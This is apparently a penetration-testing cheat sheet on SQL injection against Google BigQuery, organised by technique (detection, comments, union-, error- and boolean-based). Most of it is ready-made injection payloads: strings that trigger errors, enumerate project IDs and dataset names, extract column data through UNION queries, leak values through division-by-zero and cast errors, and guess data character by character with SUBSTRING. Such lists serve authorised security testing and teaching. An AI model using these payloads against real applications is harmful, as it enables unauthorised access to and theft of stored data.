# Google BigQuery SQL Injection
|
|
|
|
> Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.

|
## Detection
|
|
|
|
* Use a classic single quote to trigger an error: `'`
|
|
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
|
|
|
|
| SQL Query | Description |
|
|
| ----------------------------------------------------- | -------------------- |
|
|
| `SELECT @@project_id` | Gathering project id |
|
|
| `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names |
|
|
| `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |
|
|
|
|
|
|
## BigQuery Comment
|
|
|
|
| Type | Description |
|
|
|----------------------------|-----------------------------------|
|
|
| `#` | Hash comment |
|
|
| `/* PostgreSQL Comment */` | C-style comment |
|
|
|
|
|
|
## BigQuery Union Based
|
|
|
|
```ps1
|
|
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
|
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
|
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
|
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
|
|
```
|
|
|
|
## BigQuery Error Based
|
|
|
|
| SQL Query | Description |
|
|
| -------------------------------------------------------- | -------------------- |
|
|
| `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero |
|
|
| `select CAST(@@project_id AS INT64)` | Casting |
|
|
|
|
|
|
## BigQuery Boolean Based
|
|
|
|
```ps1
|
|
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
|
|
```
|
|
|
|
## BigQuery Time Based
|
|
|
|
* Time based functions does not exist in the BigQuery syntax.
